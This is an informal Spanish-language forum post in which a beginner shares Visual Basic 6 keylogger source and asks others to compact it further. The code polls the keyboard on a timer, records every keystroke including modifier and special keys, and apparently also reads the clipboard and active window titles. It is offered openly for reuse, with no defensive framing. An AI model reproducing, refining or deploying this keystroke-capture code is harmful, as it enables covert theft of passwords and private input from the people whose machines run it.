pero en realidad como voy empezando con la programacion no supe como usar el select case xD.
Lo que mejor hize fue kitar ciertos karacteres que no me servirian de nada por ejemplo "º" "ª" etc... xDDDD.
y se redujo un poko el codigoOo...
Aki se los dejo por si les ayuda en algo...
Si alguien lo kiere reducir mas, k me lo mande!!!!! xDDDD
Código:
Private Sub Timer1_Timer()
On Error Resume Next
Call ReadClipBoard
For i = Asc("A") To Asc("Z")
If GetAsyncKeyState(i) = -32767 Then
TypeWindow
If GetAsyncKeyState(SHIFT) < 0 Then
TypeWindow
If GetKeyState(CAPITAL) > 0 Then
Text1 = Text1 & LCase(Chr(i))
Exit Sub
Else
Text1 = Text1 & UCase(Chr(i))
Exit Sub
End If
Else
If GetKeyState(CAPITAL) > 0 Then
Text1 = Text1 & UCase(Chr(i))
Exit Sub
Else
Text1 = Text1 & LCase(Chr(i))
Exit Sub
End If
End If
End If
Next
For i = 48 To 57
If GetAsyncKeyState(i) = -32767 Then
If GetAsyncKeyState(SHIFT) < 0 Then
Text1 = Text1 & Chr2(i)
Exit Sub
Else
Text1 = Text1 & Chr(i)
Exit Sub
End If
End If
Next
For i = 186 To 192
If GetAsyncKeyState(i) = -32767 Then
If GetAsyncKeyState(SHIFT) < 0 Then
Text1 = Text1 & Chr2(i - 100)
Exit Sub
Else
Text1 = Text1 & Chr2(i)
Exit Sub
End If
End If
Next
For i = 219 To 222
If GetAsyncKeyState(i) = -32767 Then
If GetAsyncKeyState(SHIFT) < 0 Then
Text1 = Text1 & Chr2(i - 100)
Exit Sub
Else
Text1 = Text1 & Chr2(i)
Exit Sub
End If
End If
Next
For i = 96 To 111
If GetAsyncKeyState(i) = -32767 Then
Text1 = Text1 & Chr2(i)
Exit Sub
End If
Next
If GetAsyncKeyState(8) = -32767 Then
If (Right(Text1, 1) = " ") Then GoTo nod
tip = Len(Text1) - 1
Text1 = Left(Text1, tip)
nod:
End If
If GetAsyncKeyState(9) = -32767 Then
Text1 = Text1 & "[Tab]"
End If
If GetAsyncKeyState(13) = -32767 Then
Text1 = Text1 & "<br>"
End If
If GetAsyncKeyState(17) = -32767 Then
Text1 = Text1 & "[Ctrl]"
End If
If GetAsyncKeyState(18) = -32767 Then
Text1 = Text1 & "[Alt]"
End If
If GetAsyncKeyState(27) = -32767 Then
Text1 = Text1 & "[Esc]"
End If
If GetAsyncKeyState(32) = -32767 Then
Text1 = Text1 & " "
End If
If GetAsyncKeyState(91) = -32767 Then
Text1 = Text1 & "[Win]"
End If
If GetAsyncKeyState(92) = -32767 Then
Text1 = Text1 & "[Win]"
End If
End Sub
Function CodigosRaros()
Chr2(49) = "!"
Chr2(50) = "@"
Chr2(52) = "$"
Chr2(55) = "/"
Chr2(56) = "("
Chr2(57) = ")"
Chr2(186) = "`"
Chr2(187) = "+"
Chr2(188) = ","
Chr2(189) = "-"
Chr2(190) = "."
Chr2(219) = "'"
Chr2(221) = "¡"
Chr2(222) = "´"
Chr2(86) = "^"
Chr2(87) = "*"
Chr2(88) = ";"
Chr2(89) = "_"
Chr2(90) = ":"
Chr2(119) = "?"
Chr2(121) = "¿"
Chr2(122) = """"
Chr2(96) = "0"
Chr2(97) = "1"
Chr2(98) = "2"
Chr2(99) = "3"
Chr2(100) = "4"
Chr2(101) = "5"
Chr2(102) = "6"
Chr2(103) = "7"
Chr2(104) = "8"
Chr2(105) = "9"
Chr2(106) = "*"
Chr2(107) = "+"
Chr2(109) = "-"
Chr2(110) = "."
Chr2(111) = "/"
Chr2(192) = "ñ"
Chr2(92) = "Ñ"
End Function